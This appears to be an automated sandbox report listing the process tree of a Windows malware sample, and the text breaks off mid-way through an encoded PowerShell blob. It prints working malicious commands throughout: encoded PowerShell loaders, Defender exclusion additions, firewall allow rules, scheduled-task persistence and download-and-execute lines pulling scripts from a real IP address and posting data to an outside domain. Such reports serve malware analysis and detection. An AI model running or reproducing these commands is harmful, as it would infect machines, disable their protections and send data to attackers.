UgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBOAGEAbQBlACAAJwBXAGkAbgBkAG8AdwBzAFIAdQBuAGUAdABpAG0AZQBCAHIAbwBrAGUAcgAuAGUAeABlACcAIAAtAEEAYwB0AGkAbwBuACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAQQBjAHQAaQBvAG4AIAAtAEUAeABlAGMAdQB0AGUAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAVwBpAG4AZABvAHcAcwBSAHUAbgBlAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAnACkAIAAtAFQAcgBpAGcAZwBlAHIAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBPAG4AYwBlACAALQBBAHQAIAAoAEcAZQB0AC0ARABhAHQAZQApACAALQBSAGUAcABlAHQAaQB0AGkAbwBuAEkAbgB0AGUAcgB2AGEAbAAgACgATgBlAHcALQBUAGkAbQBlAFMAcABhAG4AIAAtAE0AaQBuAHUAdABlAHMAIAA1ACkAKQAgAC0AVQBzAGUAcgAgACQAZQBuAHYAOgBVAHMAZQByAE4AYQBtAGUAIAAtAFIAdQBuAEwAZQB2AGUAbAAgAEgAaQBnAGgAZQBzAHQAIAAtAFMAZQB0AHQAaQBuAGcAcwAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AVABpAG0AZQBMAGkAbQBpAHQAIAAoAE4AZQB3AC0AVABpAG0AZQBTAHAAYQBuACAALQBTAGUAYwBvAG4AZABzACAAMAApACAALQBBAGwAbABvAHcAUwB0AGEAcgB0AEkAZgBPAG4AQgBhAHQAdABlAHIAaQBlAHMAIAAtAEQAbwBuAHQAUwB0AG8AcABJAGYARwBvAGkAbgBnAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwApACAALQBGAG8AcgBjAGUA4⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\MDClient.exeMDClient.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\VIolet.exeVIolet.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_c0d2eb6a8b73120b.exefile_c0d2eb6a8b73120b.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\123.exe123.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Violet.exeViolet.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\he.exehe.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Pulsar-Client.exePulsar-Client.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Pulsar-Client.exePulsar-Client.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\123123.exe123123.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\chrome_update.exechrome_update.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\conhost.execonhost.exe3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin'4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" Get-MpPreference | Select-Object -ExpandProperty ExclusionPath4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\chrome_update.exechrome_update.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\whatever.exewhatever.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_b584670f7ec2f317.exefile_b584670f7ec2f317.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\randll32.exerandll32.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\kikikmoralibrary.exekikikmoralibrary.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\bot.exebot.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\ScreenConnect.ClientSetup.exeScreenConnect.ClientSetup.exe3⤵
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\db1de130131b2e40\ScreenConnect.ClientSetup.msi"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\3Armyeu.exe3Armyeu.exe3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\rlrerab'"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users'"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\live-013-0512.exelive-013-0512.exe3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C tar -xf "C:\Users\Admin\AppData\Roaming\ahk.zip" -C "C:\Users\Admin\AppData\Roaming"4⤵
-
C:\Windows\system32\tar.exetar -xf "C:\Users\Admin\AppData\Roaming\ahk.zip" -C "C:\Users\Admin\AppData\Roaming"5⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C del C:\Users\Admin\AppData\Roaming\ahk.zip4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\4J8576A0E8V3.exe4J8576A0E8V3.exe3⤵
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe"4⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --incognito5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABsAGEAPQAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAOwAkAHAAMQA9ACgAJABsAGEAIAArACAAKAAnAFwAJwArACcATQBpAGMAcgBvAHMAbwBmACcAKwAnAHQAXABPAGYAZgBpAGMAZQAnACsAJwBCACcAKwAnAHIAbwBrACcAKwAnAGUAJwArACcAcgAnACkAKQA7ACQAcAAyAD0AKAAkAGwAYQAgACsAIAAoACcAXABQAGEAYwBrAGEAJwArACcAZwBlAHMAXABNACcAKwAnAGkAYwByACcAKwAnAG8AcwBvAGYAJwArACcAdAAuAFcAaQAnACsAJwBuACcAKwAnAGQAbwB3AHMALgBQAGUAbwAnACsAJwBwAGwAZQBFACcAKwAnAHgAJwArACcAcABlAHIAaQBlAG4AYwBlACcAKwAnAEgAbwBzAHQAXwBnAHcAJwArACcAMQBuADEAYwAyAGYAaAAnACsAJwB5AGUAJwArACcAcQAnACsAJwB5ACcAKQApADsAJABwADIAdAA9ACgAJABwADIAIAArACAAKAAtAGoAbwBpAG4AKAAnAFwAQQBDACcALAAnAFwAVABlACcALAAnAG0AcAAnACkAKQApADsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwADEAIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAOwBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHAAMgB0ACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsADsAYQB0AHQAcgBpAGIAIAArAGgAIAArAHMAIAAkAHAAMQA7AGEAdAB0AHIAaQBiACAAKwBoACAAKwBzACAAJABwADIAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwAnACwAJwBMAE0AJwAsACcAXABTACcALAAnAE8ARgBUAFcAQQBSAEUAXAAnACwAJwBQAG8AbABpACcALAAnAGMAaQBlACcALAAnAHMAXABNAGkAYwByAG8AJwAsACcAcwBvAGYAdABcAFcAJwAsACcAaQBuAGQAbwAnACwAJwB3AHMAIABEAGUAZgBlAG4AJwAsACcAZABlAHIAXABFAHgAYwAnACwAJwBsAHUAcwAnACwAJwBpAG8AbgBzAFwAUABhACcALAAnAHQAJwAsACcAaABzACcAKQApACAALwBmACAALwByAGUAZwA6ADYANAA7AHIAZQBnACAAYQBkAGQAIAAoAC0AagBvAGkAbgAoACcASAAnACwAJwBLAEwATQBcAFMATwBGAFQAJwAsACcAVwBBAFIARQAnACwAJwBcAFAAbwBsAGkAYwAnACwAJwBpAGUAcwBcAE0AaQBjAHIAJwAsACcAbwBzAG8AZgB0AFwAJwAsACcAVwBpAG4AZAAnACwAJwBvAHcAcwAgAEQAZQAnACwAJwBmAGUAbgBkAGUAJwAsACcAcgAnACwAJwBcAEUAeABjAGwAdQBzAGkAJwAsACcAbwBuAHMAXAAnACwAJwBQAGEAdABoAHMAJwApACkAIAAvAHYAIAAkAHAAMQAgAC8AdAAgAFIARQBHAF8ARABXAE8AUgBEACAALwBkACAAMAAgAC8AZgAgAC8AcgBlAGcAOgA2ADQAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwBMAE0AXABTAE8ARgAnACwAJwBUAFcAJwAsACcAQQBSAEUAXABQACcALAAnAG8AbABpAGMAaQBlAHMAXAAnACwAJwBNAGkAYwByAG8AcwAnACwAJwBvAGYAdABcAFcAaQBuAGQAJwAsACcAbwB3AHMAIABEAGUAJwAsACcAZgBlAG4AZAAnACwAJwBlAHIAJwAsACcAXABFAHgAYwBsAHUAcwBpACcALAAnAG8AbgBzACcALAAnAFwAUABhAHQAaABzACcAKQApACAALwB2ACAAJABwADIAIAAvAHQAIABSAEUARwBfAEQAVwBPAFIARAAgAC8AZAAgADAAIAAvAGYAIAAvAHIAZQBnADoANgA0ADsAdAByAHkAewBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABwADEAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAHAAMgAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAfQBjAGEAdABjAGgAewB9AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABnAHAAdQBwAGQAYQB0AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAvAGYAbwByAGMAZQAnACwAJwAvAHQAYQByAGcAZQB0ADoAYwBvAG0AcAB1AHQAZQByACcAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAALQBXAGEAaQB0ACAAMgA+ACQAbgB1AGwAbAA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADIAMAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBXAGkAbgBkAG8AdwBzACcAKwAnAFMAJwArACcAeQBzAHQAZQBtAFMAZQAnACsAJwByAHYAaQBjAGUAJwApACAALwB0AHIAIAAoACQAcAAxACAAKwAgACgALQBqAG8AaQBuACgAJwBcACcALAAnAHMAdgBjAGgAJwAsACcAbwBzAHQALgBlACcALAAnAHgAZQAnACkAKQApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBSAHUAbgB0ACcAKwAnAGkAbQBlAEIAcgBvAGsAJwArACcAZQAnACsAJwByAFMAZQAnACsAJwByAHYAaQAnACsAJwBjACcAKwAnAGUAJwApACAALwB0AHIAIAAoACQAcAAyAHQAIAArACAAJwBcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAgAC0ARQBtAGIAZQBkAGQAaQBuAGcAJwApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAPQBbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQByAHYAZQByAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBWAGEAbABpAGQAYQB0AGkAbwBuAEMAYQBsAGwAYgBhAGMAawA9AHsAJAB0AHIAdQBlAH0AOwAkAGkAdgA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADEANgA7AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBSAGEAbgBkAG8AbQBOAHUAbQBiAGUAcgBHAGUAbgBlAHIAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQAoACkALgBHAGUAdABCAHkAdABlAHMAKAAkAGkAdgApADsAJABhAGUAcwA9AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkAOwAkAGEAZQBzAC4ASwBlAHkAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACgAJwA0ADEANwAxACcAKwAnADIAOQA2ADEAMgA5ADQAOQAnACsAJwAxADEANAAxADEANgA3ADMAJwArACcAMAA4ACcAKwAnADkAMQA2ADcAMwAzADkAOQAnACsAJwAwADEAJwApACkAOwAkAGEAZQBzAC4ASQBWAD0AJABpAHYAOwAkAGEAZQBzAC4ATQBvAGQAZQA9ACgALQBqAG8AaQBuACgAJwBDAEIAJwAsACcAQwAnACkAKQA7ACQAYQBlAHMALgBQAGEAZABkAGkAbgBnAD0AKAAnAFAASwAnACsAJwBDAFMAJwArACcANwAnACkAOwAkAGMAbQBkAD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAC0AagBvAGkAbgAoACcAZwBlACcALAAnAHQAUAAnACwAJwBhAHkAbABvACcALAAnAGEAJwAsACcAZAAnACkAKQApADsAJABlAG4AYwBDAG0AZAA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBFAG4AYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABjAG0AZAAsADAALAAkAGMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAYgBvAGQAeQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgACgAJABpAHYALgBMAGUAbgBnAHQAaAArACQAZQBuAGMAQwBtAGQALgBMAGUAbgBnAHQAaAApADsAWwBBAHIAcgBhAHkAXQA6ADoAQwBvAHAAeQAoACQAaQB2ACwAJABiAG8AZAB5ACwAMQA2ACkAOwBbAEEAcgByAGEAeQBdADoAOgBDAG8AcAB5ACgAJABlAG4AYwBDAG0AZAAsADAALAAkAGIAbwBkAHkALAAxADYALAAkAGUAbgBjAEMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACgALQBqAG8AaQBuACgAJwBDACcALAAnAG8AbgB0AGUAbgAnACwAJwB0AC0AVAB5ACcALAAnAHAAZQAnACkAKQAsACgAJwBhAHAAcAAnACsAJwBsAGkAYwAnACsAJwBhAHQAaQBvAG4AJwArACcALwBvAGMAdABlAHQALQBzACcAKwAnAHQAcgBlACcAKwAnAGEAbQAnACkAKQA7ACQAZABhAHQAYQA9ACQAdwBjAC4AVQBwAGwAbwBhAGQARABhAHQAYQAoACcAaAB0AHQAcABzADoALwAvAHMAYQB5AC0AbQB5AG4AYQBtAGUALgB4AHkAegA6ADQANAAzACcALAAkAGIAbwBkAHkAKQA7ACQAcgBpAHYAPQBbAGIAeQB0AGUAWwBdAF0AJABkAGEAdABhAFsAMAAuAC4AMQA1AF0AOwAkAGUAbgBjAD0AWwBiAHkAdABlAFsAXQBdACQAZABhAHQAYQBbADEANgAuAC4AKAAkAGQAYQB0AGEALgBMAGUAbgBnAHQAaAAtADEAKQBdADsAJABhAGUAcwAuAEkAVgA9ACQAcgBpAHYAOwAkAGQAZQBjAD0AJABhAGUAcwAuAEMAcgBlAGEAdABlAEQAZQBjAHIAeQBwAHQAbwByACgAKQAuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkAGUAbgBjACwAMAAsACQAZQBuAGMALgBMAGUAbgBnAHQAaAApADsAWwBJAE8ALgBGAGkAbABlAF0AOgA6AFcAcgBpAHQAZQBBAGwAbABCAHkAdABlAHMAKAAoACQAcAAxACAAKwAgACgAJwBcAHMAdgBjACcAKwAnAGgAbwBzAHQALgBlACcAKwAnAHgAZQAnACkAKQAsACQAZABlAGMAKQA7AEMAbwBwAHkALQBJAHQAZQBtACAAKAAkAHAAMQAgACsAIAAoACcAXABzACcAKwAnAHYAYwBoAG8AJwArACcAcwAnACsAJwB0AC4AZQAnACsAJwB4ACcAKwAnAGUAJwApACkAIAAiACQAcAAyAHQAXABSAHUAbgB0AGkAbQBlAEIAcgBvAGsAZQByAC4AZQB4AGUAIgAgAC0ARgBvAHIAYwBlADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACgAJABwADEAIAArACAAKAAnAFwAcwB2AGMAJwArACcAaABvAHMAdAAuAGUAJwArACcAeABlACcAKQApACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA7AA==6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu5⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\4J8576A0E8V3.exe4J8576A0E8V3.exe3⤵
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe"4⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --headless --incognito5⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu5⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Rsvp_invite%23903388.exeRsvp_invite%23903388.exe3⤵
-
C:\Program Files (x86)\CentraStage\Gui.exe"C:\Program Files (x86)\CentraStage\Gui.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\chrome_update_old.exechrome_update_old.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\RuntimeBroker.exeRuntimeBroker.exe3⤵
-
C:\Windows\system32\cmd.exe"cmd" /c "netsh advfirewall firewall show rule name=\"RuntimeBroker\""4⤵
- System Time Discovery
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall show rule name=\"RuntimeBroker\"5⤵
- Modifies Windows Firewall
- System Time Discovery
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "netsh advfirewall firewall add rule name=\"RuntimeBroker\" dir=in action=allow program=\"C:\Users\Admin\AppData\Local\Temp\a\RuntimeBroker.exe\" enable=yes profile=any"4⤵
- System Time Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\main.exemain.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\main.exemain.exe4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\pardufrigi_installer_1.0.p1.exepardufrigi_installer_1.0.p1.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\is-WHF1Q7XXCU.tmp\pardufrigi_installer_1.0.p1.tmp"C:\Users\Admin\AppData\Local\Temp\is-WHF1Q7XXCU.tmp\pardufrigi_installer_1.0.p1.tmp" /SL5="$1098A,4543643,893952,C:\Users\Admin\AppData\Local\Temp\a\pardufrigi_installer_1.0.p1.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_2e4e1082336e95de.exefile_2e4e1082336e95de.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\dajoke2.exedajoke2.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\AutoIt3.exeAutoIt3.exe3⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i SSA_Statement.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Users\Admin\AppData\Local\Temp\a\RedX_Setup.exeRedX_Setup.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\RedX_Setup.exeC:\Users\Admin\AppData\Local\Temp\a\RedX_Setup.exe4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\21.exe21.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\is-YOOKSW62IS.tmp\21.tmp"C:\Users\Admin\AppData\Local\Temp\is-YOOKSW62IS.tmp\21.tmp" /SL5="$40324,3066839,1012224,C:\Users\Admin\AppData\Local\Temp\a\21.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\%E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exe%E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\%E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exeC:\Users\Admin\AppData\Local\Temp\a\%E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exe4⤵
-
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe Approved%20Document%23402.vbs3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Qbix01.exeQbix01.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS8C53.tmp\winvnc.exe.\winvnc.exe4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\beacon.exebeacon.exe3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"2⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.execmd.exe /C start c:\Windows\System32\Taskmgr.exe3⤵
-
\??\c:\Windows\System32\Taskmgr.exec:\Windows\System32\Taskmgr.exe4⤵
-
-
-
C:\Windows\system32\a\VAL-VIP.exeVAL-VIP.exe3⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "VAL-VIP" /tr "C:\ProgramData\VAL-VIP.exe"4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\a\shell.exeshell.exe3⤵
-
-
C:\Windows\system32\a\file_f63a4ae1cbc0bfa1.exefile_f63a4ae1cbc0bfa1.exe3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$wc=New-Object System.Net.WebClient; $wc.Headers.Add('User-Agent','Lak2oes'); iex ($wc.DownloadString('http://89.125.188.171/div/53.ps1')) 2>$null"4⤵
- Hide Artifacts: Hidden Window
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$wc=New-Object System.Net.WebClient; $wc.Headers.Add('User-Agent','Lak2oes'); iex ($wc.DownloadString('http://89.125.188.171/div/53.ps1')) 2>$null"5⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " $ip='89.125.188.171'; for($i=1; $i -le 1; $i++) { try { $wc=New-Object System.Net.WebClient; $wc.Headers.Add('User-Agent','Lak2oes'); iex ($wc.DownloadString('http://'+$ip+'/ps/smoke.ps1')); break } catch { Start-Sleep -Milliseconds 100 } } "6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
-
C:\Windows\system32\a\support.client.exesupport.client.exe3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File rs.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\a\net_launcher.exenet_launcher.exe3⤵
-
-
C:\Windows\system32\a\vnc.exevnc.exe3⤵
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe encrypted.hta3⤵
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c prueba%202.cmd3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Windows\System32\a\prueba%202.cmd" /min4⤵
-
C:\Windows\system32\schtasks.exeschtasks /Delete /TN "CorpUpdateWatcher" /F5⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /Create /TN "CorpUpdateWatcher" /SC MINUTE /MO 40 /TR "\"C:\Users\Admin\AppData\Local\CorpUpdates\UpdateWatcher.cmd\" /min /tick" /RL LIMITED /F5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\system32\a\Silentum_Spoofer.exeSilentum_Spoofer.exe3⤵
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c seend.bat3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Start-Process C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ArgumentList '-Command \"$ddsdfgo = ''DQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAzAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGYAdQBuAGMAdABpAG8AbgAgAEQAbwB3AG4AbABvAGEAZABEAGEAdABhAEYAcgBvAG0ATABpAG4AawBzACAAewAgAHAAYQByAGEAbQAgACgAWwBzAHQAcgBpAG4AZwBbAF0AXQAkAGwAaQBuAGsAcwApACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHcAZQBiAEMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA